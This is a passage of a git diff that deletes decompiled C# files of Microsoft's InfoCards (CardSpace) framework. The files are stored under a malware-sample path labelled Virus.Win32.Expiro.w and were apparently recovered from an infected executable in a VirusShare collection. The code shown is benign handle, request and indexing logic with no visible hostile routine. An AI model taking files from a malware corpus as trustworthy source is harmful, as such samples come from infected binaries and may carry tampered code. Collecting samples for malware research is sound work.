[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool TerminateJobObject([In] IntPtr hJob, [In] uint uExitCode); - - public SafeJobHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void UpdateHandle(IntPtr handle) => this.SetHandle(handle); - - protected override bool ReleaseHandle() - { - SafeJobHandle.TerminateJobObject(this.handle, 0U); - return NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeNativeHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeNativeHandle.cs deleted file mode 100644 index 07ceba42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeNativeHandle.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeNativeHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.Win32.SafeHandles; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeNativeHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private SafeNativeHandle() - : base(true) - { - } - - public SafeNativeHandle(IntPtr existingHandle, bool ownsHandle) - : base(ownsHandle) - { - this.SetHandle(existingHandle); - } - - protected override bool ReleaseHandle() => NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeRsaProviderHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeRsaProviderHandle.cs deleted file mode 100644 index 792aaa8b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeRsaProviderHandle.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeRsaProviderHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeRsaProviderHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", EntryPoint = "CryptAcquireContextW", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptAcquireContext( - out SafeRsaProviderHandle hProv, - [In] string pszContainer, - [In] string pszProvider, - [In] uint dwProvType, - [In] uint dwFlags); - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptReleaseContext([In] IntPtr hProv, [In] uint dwFlags); - - public static SafeRsaProviderHandle Construct() - { - SafeRsaProviderHandle hProv; - if (!SafeRsaProviderHandle.CryptAcquireContext(out hProv, (string) null, (string) null, 24U, 4026531840U)) - { - Win32Exception e = new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) hProv); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(e.Message)); - } - return hProv; - } - - private SafeRsaProviderHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeRsaProviderHandle.CryptReleaseContext(this.handle, 0U); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveCardRequest.cs deleted file mode 100644 index 11542219..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveCardRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public SaveCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() - { - if (this.m_card == null) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_card.LastUpdate = DateTime.UtcNow; - this.m_card.Save(connection); - connection.CommitTransaction(); - if (this.m_card.IsSelfIssued) - AuditLog.AuditCardWritten(); - else - AuditLog.AuditCardImport(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveLedgerEntryRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveLedgerEntryRequest.cs deleted file mode 100644 index e58bff18..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveLedgerEntryRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveLedgerEntryRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveLedgerEntryRequest : UIAgentRequest - { - public SaveLedgerEntryRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() => ((GetTokenRequest) this.ParentRequest).SaveLedgerEntry(); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveRecipientRequest.cs deleted file mode 100644 index 949000e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveRecipientRequest : UIAgentRequest - { - private Recipient m_recipient; - - public SaveRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null RPC handle"); - InfoCardTrace.Assert(null != inArgs, "Null InArgs"); - InfoCardTrace.Assert(null != outArgs, "Null outArgs"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "Null inArgs"); - this.m_recipient = new Recipient(this.InArgs); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(null != this.m_recipient, " Null Recipient"); - connection.BeginTransaction(); - try - { - this.m_recipient.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndex.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndex.cs deleted file mode 100644 index 806e19eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndex.cs +++ /dev/null @@ -1,334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndex -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndex - { - private byte[] m_buffer; - private int m_lastIndex; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - private SecondaryIndexDefinition m_definition; - private bool m_isOpen; - - public SecondaryIndex( - SecondaryIndexDefinition definition, - IComparer search, - IComparer sort) - { - if (definition == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definition)); - if (search == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (search)); - if (sort == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (sort)); - this.m_definition = definition; - this.m_searchComparer = search; - this.m_sortComparer = sort; - this.Clear(); - this.m_isOpen = true; - } - - public SecondaryIndexDefinition Definition - { - get - { - this.ThrowIfNotOpen(); - return this.m_definition; - } - } - - public int LastIndex - { - get - { - this.ThrowIfNotOpen(); - return this.m_lastIndex; - } - } - - public byte[] GetBuffer() - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - - internal void SetValuesForId(int id, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - IndexObject[] array = indexBuffer[this.m_definition.Name].ToArray(); - if (remove) - this.RemoveForIdAndShiftData(id); - if (array == null || array.Length == 0) - return; - for (int index = 0; index < array.Length; ++index) - { - if (!array[index].IsCompiled) - { - if (!array[index].CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - array[index].Compile(this.m_definition); - } - this.ValidateIndexValue(array[index].CompiledForm); - this.ShiftAndInsertValues(id, array[index].CompiledForm); - } - } - - public void RemoveAllValuesForId(int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - this.RemoveForIdAndShiftData(id); - } - - public unsafe void PopulateRowIndexBuffer(DataRowIndexBuffer buffer, int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - if (-1 == this.m_lastIndex) - return; - List indexObjectList = new List(); - fixed (byte* numPtr = &this.m_buffer[0]) - { - for (int index = 0; index < this.m_lastIndex + 1; ++index) - { - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - byte[] numArray = new byte[60]; - Marshal.Copy((IntPtr) (void*) &((SecondaryIndexItem*) numPtr)[index].HashValue, numArray, 0, 60); - indexObjectList.Add(new IndexObject(numArray)); - } - } - if (indexObjectList.Count > 0) - buffer.SetIndexValues(this.m_definition.Name, indexObjectList.ToArray()); - } - } - - public void Close() - { - if (!this.m_isOpen) - return; - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_isOpen = false; - } - - public void ValidateIndexValue(byte[] indexValue) - { - if (SecondaryIndexSettings.Nullable != (this.m_definition.Settings & SecondaryIndexSettings.Nullable) && SecondaryIndex.IsBufferEmpty(indexValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreNullIndexValueNotPermitted", (object) this.m_definition.Name))); - } - - public void SetBuffer(byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - this.m_buffer = buffer; - this.m_lastIndex = lastIndex; - } - - public unsafe int Match(IndexObject obj, LocalIdCollection collection, int low, int high) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (collection == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (collection)); - if ((uint) low > (uint) high) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (low), (object) low, SR.GetString("StoreLowValueOutOfRange"))); - if ((uint) high > (uint) this.m_lastIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (high), (object) high, SR.GetString("StoreHighValueOutOfRange"))); - if (!obj.IsCompiled) - { - if (!obj.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - obj.Compile(this.m_definition); - } - this.ValidateIndexValue(obj.CompiledForm); - SecondaryIndexItem secondaryIndexItem; - Marshal.Copy(obj.CompiledForm, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - return this.Match(&secondaryIndexItem, collection, low, high); - } - - public void Clear() - { - this.m_buffer = new byte[sizeof (SecondaryIndexItem) * this.m_definition.InitialSize]; - this.m_lastIndex = -1; - } - - private unsafe void RemoveForIdAndShiftData(int id) - { - if (-1 == this.m_lastIndex) - return; - int num1 = this.m_lastIndex + 1; - int num2 = 0; - int index = 0; - fixed (byte* numPtr = &this.m_buffer[0]) - { - do - { - InfoCardTrace.Assert((uint) num2 < (uint) this.m_buffer.Length, "currentOffset is invalid or has been corrupted."); - InfoCardTrace.Assert(0 == num2 % sizeof (SecondaryIndexItem), "currentOffset is not aligned proppertly. This can cause data corruption."); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr <= (long) (num1 * sizeof (SecondaryIndexItem)), "Current IndexPointer has walked beyond the total count of valid data."); - index = num2 / sizeof (SecondaryIndexItem); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "Current IndexPointer has walked beyond the allocated buffer"); - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - if (num1 != index + 1) - { - InfoCardTrace.Assert(this.m_lastIndex >= 0, "LastIndex indicates an invalid state for the index"); - Array.Copy((Array) this.m_buffer, num2 + sizeof (SecondaryIndexItem), (Array) this.m_buffer, num2, (num1 - (index + 1)) * sizeof (SecondaryIndexItem)); - Array.Clear((Array) this.m_buffer, this.m_lastIndex * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem)); - } - else - Array.Clear((Array) this.m_buffer, num2, sizeof (SecondaryIndexItem)); - --this.m_lastIndex; - --num1; - } - else - num2 += sizeof (SecondaryIndexItem); - } - while (num2 / sizeof (SecondaryIndexItem) < num1); - } - } - - private unsafe void ShiftAndInsertValues(int id, byte[] indexValue) - { - InfoCardTrace.Assert(id > 0, "Invalid LocalId"); - InfoCardTrace.Assert(null != indexValue, "Null indev value passed"); - InfoCardTrace.Assert(indexValue.Length == 60, "Index buffer is not correct size."); - SecondaryIndexItem secondaryIndexItem; - secondaryIndexItem.LocalId = id; - Marshal.Copy(indexValue, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - this.AddItem(&secondaryIndexItem); - } - - private static bool IsBufferEmpty(byte[] hash) - { - for (int index = 0; index < hash.Length; ++index) - { - if (hash[index] != (byte) 0) - return false; - } - return true; - } - - private unsafe int BSearch( - SecondaryIndexItem* pMatch, - IComparer comp, - int lowStart, - int highStart) - { - int num1 = lowStart; - int num2 = highStart; - fixed (byte* numPtr = &this.m_buffer[0]) - { - while (num1 <= num2) - { - int num3 = (num2 + num1) / 2; - int num4 = comp.Compare((IntPtr) (void*) pMatch, (IntPtr) (void*) ((SecondaryIndexItem*) numPtr + num3)); - if (num4 == 0) - { - num2 = num3; - if (num2 == num1) - return num2; - } - else if (num4 < 0) - num2 = num3 - 1; - else - num1 = num3 + 1; - } - } - return ~num1; - } - - private unsafe int Match( - SecondaryIndexItem* pMatch, - LocalIdCollection results, - int lowStart, - int highStart) - { - int index = this.BSearch(pMatch, this.m_searchComparer, lowStart, highStart); - if (index >= 0) - { - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert(index * sizeof (SecondaryIndexItem) < this.m_buffer.Length, "Index has moved beyond the allocated buffer."); - do - { - results.Add(((SecondaryIndexItem*) numPtr)[index].LocalId); - ++index; - } - while (index <= this.m_lastIndex && this.m_searchComparer.Compare((IntPtr) (void*) ((SecondaryIndexItem*) numPtr + index), (IntPtr) (void*) pMatch) == 0); - } - --index; - } - return index; - } - - private unsafe void AddItem(SecondaryIndexItem* pMatch) - { - InfoCardTrace.Assert(IntPtr.Zero != (IntPtr) pMatch, "Match pointer is null"); - InfoCardTrace.Assert(pMatch->LocalId > 0, "Match pointer has invalid local id"); - int num1; - if (SecondaryIndexSettings.Unique == (this.m_definition.Settings & SecondaryIndexSettings.Unique)) - { - num1 = this.BSearch(pMatch, this.m_searchComparer, 0, this.m_lastIndex); - if (num1 >= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUniqueIndexConstraintBroken", (object) this.m_definition.Name))); - } - else - num1 = this.BSearch(pMatch, this.m_sortComparer, 0, this.m_lastIndex); - if (num1 >= 0) - return; - int index = ~num1; - int num2 = this.m_lastIndex + 1; - int num3 = this.m_buffer.Length / sizeof (SecondaryIndexItem); - if (num2 + 1 >= num3) - this.GrowIndex(); - if (index < num2) - { - int num4 = num2 * sizeof (SecondaryIndexItem); - int sourceIndex = index * sizeof (SecondaryIndexItem); - int destinationIndex = sourceIndex + sizeof (SecondaryIndexItem); - int length = num4 - sourceIndex; - InfoCardTrace.Assert(length > 0, "No Bytes to copy into index."); - Array.Copy((Array) this.m_buffer, sourceIndex, (Array) this.m_buffer, destinationIndex, length); - } - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "IndexPointer is beyond the end of the allocated buffer"); - ((SecondaryIndexItem*) numPtr)[index] = *pMatch; - } - ++this.m_lastIndex; - } - - private void GrowIndex() - { - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_buffer.Length, sizeof (SecondaryIndexItem), 5); - InfoCardTrace.Assert(increaseByPercent > this.m_buffer.Length && 0 == increaseByPercent % sizeof (SecondaryIndexItem), "New size calculated for index is invalid."); - int length = (this.m_lastIndex + 1) * sizeof (SecondaryIndexItem); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, length); - Array.Clear((Array) this.m_buffer, 0, length); - this.m_buffer = destinationArray; - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndex))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexDefinition.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexDefinition.cs deleted file mode 100644 index 17a11553..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexDefinition.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexDefinition -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SecondaryIndexDefinition - { - public const string GlobalIdIndex = "ix_globalid"; - public const string ObjectTypeIndex = "ix_objecttype"; - public const string NameIndex = "ix_name"; - public const string RecipientIdIndex = "ix_name"; - public const string ProductionServiceIndex = "ix_production_svc_uri"; - public const string ParentIdIndex = "ix_parentid"; - public const string MasterKeyIndex = "ix_masterkey"; - public const string SupportedClaimIndex = "ix_supportclaim"; - public const string SupportedAuthIndex = "ix_supportauth"; - private static readonly SecondaryIndexDefinition[] s_masterIndexes = new SecondaryIndexDefinition[8] - { - new SecondaryIndexDefinition("ix_globalid", 10, 20, SecondaryIndexSettings.Unique, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_objecttype", 10, 20, SecondaryIndexSettings.None, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_name", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_production_svc_uri", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_parentid", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_masterkey", 10, 20, SecondaryIndexSettings.Nullable | SecondaryIndexSettings.Unique, Canonicalizers.BinaryWithHashing), - new SecondaryIndexDefinition("ix_supportclaim", 50, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseSensitiveWithHashing), - new SecondaryIndexDefinition("ix_supportauth", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary) - }; - private int m_initialSize; - private int m_growthFactor; - private SecondaryIndexSettings m_settings; - private string m_name; - private ICanonicalizer m_canonicalizer; - - private SecondaryIndexDefinition( - string name, - int initialSize, - int growthFactor, - SecondaryIndexSettings settings, - ICanonicalizer canonicalizer) - { - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - if (initialSize <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (initialSize), (object) initialSize, SR.GetString("StoreIndexInitialSizeInvalid"))); - if (canonicalizer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (canonicalizer)); - if (growthFactor <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (growthFactor), (object) growthFactor, SR.GetString("StoreIndexGrowthFactorInvalid"))); - this.m_initialSize = initialSize; - this.m_growthFactor = growthFactor; - this.m_settings = settings; - this.m_name = name; - this.m_canonicalizer = canonicalizer; - } - - public static SecondaryIndexDefinition[] MasterIndexes => SecondaryIndexDefinition.s_masterIndexes; - - public ICanonicalizer Canonicalizer => this.m_canonicalizer; - - public string Name => this.m_name; - - public int InitialSize => this.m_initialSize; - - public int GrowthFactor => this.m_growthFactor; - - public SecondaryIndexSettings Settings => this.m_settings; - - public static SecondaryIndexDefinition GetByName(string name) - { - for (int index = 0; index < SecondaryIndexDefinition.s_masterIndexes.Length; ++index) - { - if (SecondaryIndexDefinition.s_masterIndexes[index].Name == name) - return SecondaryIndexDefinition.s_masterIndexes[index]; - } - return (SecondaryIndexDefinition) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexItem.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexItem.cs deleted file mode 100644 index b7069cea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexItem.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexItem -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 64)] - internal struct SecondaryIndexItem - { - public const int StructSize = 64; - public const int HashValueSize = 60; - public const int LocalIdSize = 4; - public const int HashValueOffset = 0; - public const int LocalIdOffset = 60; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] - [FieldOffset(0)] - public byte HashValue; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int LocalId; - } -} diff --git 